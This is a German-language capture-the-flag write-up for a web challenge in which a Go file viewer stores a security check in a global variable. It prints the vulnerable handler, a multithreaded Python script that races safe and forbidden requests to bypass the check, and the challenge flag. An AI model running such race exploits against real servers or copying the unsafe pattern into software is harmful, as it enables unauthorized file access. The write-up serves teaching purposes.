# Shared State of Mind Willkommen zum Write-up für **Shared State of Mind**. Diese Challenge ist eine "Web"-Challenge, die in die gefährlichen Gewässer der Nebenläufigkeit in Go eintaucht. Sie demonstriert, warum globaler Zustand in einer nebenläufigen Umgebung (wie einem Webserver) ein Rezept für Desaster ist. Uns wird ein "High-Performance File Viewer" präsentiert, der angeblich "Bloatware" wie Mutex-Locks entfernt hat. Unser Ziel ist es, die Datei `flag.txt` zu lesen, die durch eine Sicherheitsprüfung geschützt ist. --- ## 1. Erste Erkundung Die Challenge stellt eine URL und ein herunterladbares Archiv `shared_state_of_mind.tar.xz` bereit. Die Verbindung zur URL gibt uns eine Dateibetrachter-Schnittstelle (oder API). Wir können Dateien mit `?file=...` anfordern. Wenn wir `?file=worker.go` versuchen, erhalten wir den Quellcode. Wenn wir `?file=flag.txt` versuchen, erhalten wir: `Security Check Failed: Forbidden` ## 2. Quellcode-Analyse Das Archiv enthält zwei wichtige Go-Dateien: `gateway.go` und `worker.go`. **`gateway.go`**: Dies fungiert als Load Balancer/Proxy. Er weist jedem Benutzer eine eindeutige Sitzung zu und startet einen dedizierten `./worker`-Prozess für diesen Benutzer. Das bedeutet, dass unsere Anfragen an eine spezifische Instanz der Worker-Anwendung gehen, die nur uns zugewiesen ist. **`worker.go`**: Hier liegt die Schwachstelle. Schauen wir uns an, wie es Anfragen behandelt: ```go // GLOBALE VARIABLE var checkPassed bool func handler(w http.ResponseWriter, r *http.Request) { filename := r.URL.Query().Get("file") // 1. Sicherheitsprüfung if strings.Contains(filename, "flag") { checkPassed = false } else { checkPassed = true } // 2. Logging (simuliert Verzögerung) logAccess(filename) // 3. Datei ausliefern if checkPassed { content, _ := ioutil.ReadFile(filename) w.Write(content) } else { http.Error(w, "Forbidden", 403) } } ``` ## 3. Die Schwachstelle: Race Condition Die Variable `checkPassed` ist als **globale Variable** auf Paketebene definiert. In Go erstellt `http.ListenAndServe` eine neue Goroutine für jede eingehende Anfrage. Das bedeutet, wenn mehrere Anfragen gleichzeitig eingehen, teilen sie sich alle den Zugriff auf die *selbe* `checkPassed`-Variable. Dies erzeugt eine **Race Condition** (spezifisch ein Time-of-Check to Time-of-Use Problem): 1. **Anfrage A (Sicher)** kommt für `worker.go` rein. Sie setzt `checkPassed = true`. 2. **Anfrage B (Bösartig)** kommt für `flag.txt` rein. Sie setzt `checkPassed = false`. 3. **Anfrage A** pausiert kurz (z.B. während `logAccess` oder Kontextwechsel). 4. **Anfrage B** pausiert kurz. 5. **Anfrage A** setzt fort und überschreibt potenziell `checkPassed` zurück auf `true`, *nachdem* Anfrage B es auf false gesetzt hatte, aber *bevor* Anfrage B ihre finale Prüfung durchführt. Wenn wir das Timing richtig hinbekommen, erreicht Anfrage B (die die Flagge anfordert) die Zeile `if checkPassed` genau in dem Moment, in dem Anfrage A die globale Variable auf `true` gesetzt hat. ## 4. Ausnutzungsstrategie Um dies auszunutzen, müssen wir den Server gleichzeitig mit zwei Arten von Anfragen überfluten, unter Verwendung des **gleichen Session-Cookies** (damit sie denselben Worker-Prozess treffen): 1. **Sichere Anfragen:** Wiederholt nach einer erlaubten Datei fragen (z.B. `?file=worker.go`). Dies versucht ständig, `checkPassed = true` zu setzen. 2. **Bösartige Anfragen:** Wiederholt nach `?file=flag.txt` fragen. Dies versucht, die Flagge zu lesen. Wir können ein einfaches Python-Skript mit mehreren Threads verwenden, um dies zu erreichen. ### Exploit-Skript ```python import threading import requests import sys import time # --- ZIEL-KONFIGURATION --- TARGET_URL = "http://challenge-url:1320/" print("[*] Initializing Session...") s = requests.Session() try: s.get(TARGET_URL) except requests.exceptions.ConnectionError: print(f"[-] Could not connect to {TARGET_URL}. Is the docker container running?") sys.exit(1) if 'ctf_session' not in s.cookies: print("[-] Failed to get session cookie") sys.exit(1) print(f"[+] Session ID: {s.cookies['ctf_session']}") cookie = {'ctf_session': s.cookies['ctf_session']} def do_safe(): while True: try: requests.get(TARGET_URL + "?file=worker.go", cookies=cookie) except: pass def do_exploit(): while True: try: r = requests.get(TARGET_URL + "?file=flag.txt", cookies=cookie) if "{flag: " in r.text: print(f"\n\n[SUCCESS] Flag Found: {r.text}\n") sys.exit(0) except: pass print("[*] Starting threads... (Press Ctrl+C to stop)") # Hohes Volumen an sicheren Threads, um den Schalter umzulegen for i in range(10): t = threading.Thread(target=do_safe) t.daemon = True t.start() # Exploit-Thread for i in range(1): t = threading.Thread(target=do_exploit) t.daemon = True t.start() while True: time.sleep(1) ``` ## 5. Die Lösung Das Ausführen des Exploit-Skripts gegen das Ziel verursacht eine Race Condition. Innerhalb weniger Sekunden wird eine der bösartigen Anfragen das Rennen "gewinnen" – durch die Prüfung schlüpfen, weil eine gleichzeitige sichere Anfrage den globalen Schalter auf `true` gesetzt hat. **Flag:** `{flag: D0nt_Sh4r3_M3m0ry_Just_P4ss_Th3_Fl4g}` ## Gelernte Lektionen * **Vermeide globalen Zustand:** Verwenden Sie niemals globale Variablen, um anfragespezifische Daten in einem Webserver zu speichern. Verwenden Sie lokale Variablen oder übergeben Sie Daten durch den Funktionskontext. * **Nebenläufigkeit ist schwer:** Nur weil Code sequenziell aussieht, heißt das nicht, dass er relativ zu anderen Anfragen sequenziell ausgeführt wird. * **Threadsicherheit:** Wenn Sie geteilten Zustand verwenden müssen, schützen Sie ihn immer mit Synchronisationsprimitiven wie Mutexes, oder besser noch, verwenden Sie Go's Channels, um sicher zu kommunizieren. Frohes Hacken!